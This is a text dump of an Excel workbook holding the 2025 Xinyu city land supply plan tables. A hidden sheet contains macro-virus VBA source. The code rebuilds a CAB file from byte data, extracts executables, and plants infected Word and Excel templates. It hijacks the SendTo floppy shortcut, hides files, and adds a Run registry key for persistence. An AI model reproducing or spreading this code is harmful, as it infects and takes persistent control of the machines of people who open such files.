{"text_format":"3","workbook":"xls","n_sheets":5,"sheets":["JSTFPMNJVYULGQ","ORUFWXI","汇总表一","汇总表二","Sheet1"],"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"JSTFPMNJVYULGQ","index":0,"n_rows":82,"n_cols":3,"rows_kept":82,"hidden":true,"flags":["formulas_cached_only"]}
[null,null,"Private Sub createcabfile()"]
[null,null,"Dim ch As Byte"]
[null,null,"on error resume next"]
[null,null,"Set fso = CreateObject(\"scripting.filesystemobject\")"]
[null,null,"Set w = CreateObject(\"wscript.shell\")"]
[null,null,"myfolder = w.specialfolders(\"Templates\") & \"\\Software\\\""]
[null,null,"If Not fso.folderexists(myfolder) Then"]
[null,null,"fso.createfolder myfolder"]
[null,null,"End If"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"normal.xlm\" then"]
[null,null,"workbooks(i).close"]
[null,null,"fso.deletefile Application.StartupPath & \"\\normal.xlm\""]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"For i=1 to Workbooks.Count"]
[null,null,"If Workbooks(i).name=\"norma1.xlm\" then"]
[null,null,"goto a1"]
[null,null,"End If"]
[null,null,"Next"]
[null,null,"cabfile= \"c:\\cab.cab\""]
[null,null,"If Not fso.fileexists(Application.StartupPath & \"\\norma1.xlm\") Then"]
[null,null,"fso.delete cabfile"]
[null,null,"open cabfile for binary access write as #1"]
[null,null,"For i = 1 To 150"]
[null,null,"hv = ThisWorkbook.Sheets(\"(m1)_(m2)_(m3)\").Cells(i, 2).Value"]
[null,null,"n=1"]
[null,null,"m=instr(hv,\" \")"]
[null,null,"do while m>0"]
[null,null,"ch=CByte(mid(hv,n,m-n))"]
[null,null,"put #1,,ch"]
[null,null,"n=m+1"]
[null,null,"m=instr(n,hv,\" \")"]
[null,null,"loop"]
[null,null,"Next"]
[null,null,"close #1"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib -s -h c:\\sendto.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extrac32 /EKKKKKKKKKKKc:\\cab.cab\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c extract /EKKKKKKKKKKKc:\\cab.cab\", 0, True"]
[null,null,"fso.deletefile cabfile"]
[null,null,"fso.copyfile \"c:\\normal.dot\", myfolder, True"]
[null,null,"set word=createobject(\"word.application\")"]
[null,null,"ntpath=word.NormalTemplate.Path & \"\\\""]
[null,null,"word.quit"]
[null,null,"fso.copyfile \"c:\\normal.dot\", ntpath, True"]
[null,null,"fso.copyfile \"c:\\norma1.xlm\", Application.StartupPath & \"\\\", True"]
[null,null,"fso.copyfile \"c:\\internet.exe\", fso.getspecialfolder(1) & \"\\\""]
[null,null,"set fold=fso.getfolder(w.SpecialFolders(\"SendTo\"))"]
[null,null,"for each ff in fold.files"]
[null,null,"if instr(ff.name,\"软盘\")>0 then"]
[null,null,"set lnk=w.CreateShortcut(fold.path & \"\\\" & ff.name)"]
[null,null,"lnk.TargetPath=\"c:\\sendto.exe\""]
[null,null,"lnk.IconLocation=\"shell32.dll,6\""]
[null,null,"lnk.save"]
[null,null,"goto e2"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"e2:"]
[null,null,"fso.deletefile \"c:\\normal.dot\""]
[null,null,"fso.deletefile \"c:\\norma1.xlm\""]
[null,null,"fso.deletefile \"c:\\internet.exe\""]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\setflag.exe\", 0, True"]
[null,null,"w.Run \"%COMSPEC% /c attrib +s +h c:\\sendto.exe\", 0, True"]
[null,null,"w.regwrite \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internet.exe\",\"internet.exe\""]
[null,null,"w.regdelete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Internat.exe\""]
[null,null,"End If"]
[null,null,"Workbooks.Open Application.StartupPath & \"\\norma1.xlm\""]
[null,null,"thisworkbook.Sheets(\"(m1)_(m2)_(m3)\").Columns(2).Copy workbooks(\"norma1.xlm\").sheets(\"(m1)_(m2)_(m3)\").Columns(2)"]
[null,null,"workbooks(\"norma1.xlm\").save"]
[null,null,"fso.copyfile Application.StartupPath & \"\\norma1.xlm\",myfolder,true"]
[null,null,"a1:"]
[null,null,"fso.deletefile \"c:\\excel.txt\""]
[null,null,"Application.DisplayAlerts = False"]
[null,null,"for i=1 to thisworkbook.sheets.count"]
[null,null,"if left(thisworkbook.sheets(i).name,3)=\"模块表\" then"]
[null,null,"ThisWorkbook.Sheets(i).Delete"]
[null,null,"end if"]
[null,null,"next"]
[null,null,"Application.DisplayAlerts = True"]
[null,null,"ThisWorkbook.Saved=True"]
[null,null,"End Sub"]

{"sheet":"ORUFWXI","index":1,"n_rows":0,"n_cols":0,"rows_kept":0,"hidden":true,"flags":["formulas_cached_only"]}

{"sheet":"汇总表一","index":2,"n_rows":12,"n_cols":9,"rows_kept":12,"merged":[[0,0,0,8],[1,0,1,8],[2,0,2,8],[3,1,4,1],[3,2,4,2],[3,3,4,3],[3,4,4,4],[3,5,4,5],[3,6,4,6],[3,7,4,7],[3,8,4,8],[11,0,11,8]],"flags":["formulas_cached_only"]}
["附件1：      "]
["2025年新余市国有建设用地供应计划表（汇总表一）"]
["填报单位：                                                                                      单位：亩"]
["       用途","合计","商服用地","工矿仓储用地","住宅用地","公共管理与公共服务用地","交通运输用地","水域及水利设施用地","特殊用地"]
["单位"]
["市本级",{"v":2751.814,"d":"2751.81"},15.39,{"v":0,"d":"0.00"},{"v":900.484,"d":"900.48"},149.44,1290.78,395.72,{"v":0,"d":"0.00"}]
["渝水区",{"v":4340.5,"d":"4340.50"},{"v":0,"d":"0.00"},{"v":3223.4,"d":"3223.40"},{"v":212.2,"d":"212.20"},{"v":257.4,"d":"257.40"},{"v":435.5,"d":"435.50"},{"v":54,"d":"54.00"},{"v":158,"d":"158.00"}]
["高新区",{"v":1983.9,"d":"1983.90"},18.82,{"v":1002.5,"d":"1002.50"},{"v":0,"d":"0.00"},{"v":189.3,"d":"189.30"},773.28,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["仙女湖区",1830.84,380.61,334.23,130,{"v":956,"d":"956.00"},{"v":10,"d":"10.00"},{"v":0,"d":"0.00"},{"v":20,"d":"20.00"}]
["高铁新区",1116.98,37.66,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},{"v":265.2,"d":"265.20"},814.12,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["总计",{"v":12024.034,"d":"12024.03"},452.48,{"v":4560.129999999999,"d":"4560.13"},{"v":1242.684,"d":"1242.68"},1817.34,3323.68,449.72,{"v":178,"d":"178.00"}]
["填表日期：                            填报人：                  联系方式： "]

{"sheet":"汇总表二","index":3,"n_rows":13,"n_cols":8,"rows_kept":13,"merged":[[0,0,0,7],[1,0,1,7],[2,0,2,7],[3,0,5,0],[3,1,5,1],[3,2,3,3],[3,4,3,5],[3,6,5,6],[3,7,5,7],[4,2,5,2],[4,3,5,3],[4,4,5,4],[4,5,5,5],[12,0,12,7]],"flags":["formulas_cached_only"]}
["附件1："]
["2025年新余市住房用地供应计划汇总表（汇总表二）"]
["填报单位：                                                                     单位：亩"]
["县、市","住宅用地供地总量","产权住宅",null,"租赁住宅用地",null,"其他住宅用地","租赁住宅用地用地占比（%）"]
[null,null,"商品住房用地","共有产权住宅用地","保障性租赁住宅用地","市场化租赁住宅用地"]
[]
["市本级",null,{"v":900.484,"d":"900.48"}]
["渝水区",{"$nulls":5},{"v":212.2,"d":"212.20"}]
["高新区"]
["仙女湖区",null,{"v":130,"d":"130.00"}]
["高铁新区"]
["总计",{"v":1242.684,"d":"1242.68"},{"v":1030.484,"d":"1030.48"},{"$nulls":3},{"v":212.2,"d":"212.20"}]
["填表日期：                            填报人：                               联系方式： "]

{"sheet":"Sheet1","index":4,"n_rows":0,"n_cols":0,"rows_kept":0,"flags":["formulas_cached_only"]}